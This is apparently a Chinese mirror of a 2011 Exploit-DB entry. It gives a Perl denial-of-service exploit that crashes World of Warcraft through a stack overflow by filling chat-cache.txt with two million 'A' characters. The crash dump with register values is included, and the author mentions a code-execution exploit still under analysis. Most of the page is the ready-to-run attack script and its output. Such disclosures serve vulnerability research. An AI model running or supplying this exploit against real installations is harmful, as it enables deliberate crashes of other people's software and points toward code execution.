World Of Warcraft – ‘chat-cache.txt’ Local Stack Overflow Denial of Service - 体验盒子

作者： BSOD Digital

日期： 2011-09-05

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/17781/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

#!/usr/bin/perl

#

#Exploit Title:

#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)

#

#Date: 04/09/2011

#

#Author: BSOD Digital (Fabien DROMAS)

#

#Other details:"Code Exec" Exploit in analysis.

#

#Tests:

#OS: Windows 7

#Versions: burning crusade,cataclism, Demo Version.

#

#Path:

#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt

#

#Error:

#This application has encountered a critical error:

#

#ERROR #132 (0x85100084) Fatal exception!

#

#Program: D:\World of Warcraft\Wow.exe

#ProcessID: 92024

#Exception: 0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97

#

#Registers:

#----------------------------------------

#x86 Registers

#----------------------------------------

#

#EAX=000F2000EBX=1BD920D8ECX=000CC22CEDX=00000000ESI=0012366F

#EDI=00000000EBP=001EFC5CESP=001EF8A4EIP=0109DA97FLG=00010206

#CS =0023DS =002BES =002BSS =002BFS =0053GS =002B

my $file = "chat-cache.txt";

my $dos_junk = "A" x 2000000;

open($File, ">$file");

print $File $dos_junk;

close($File);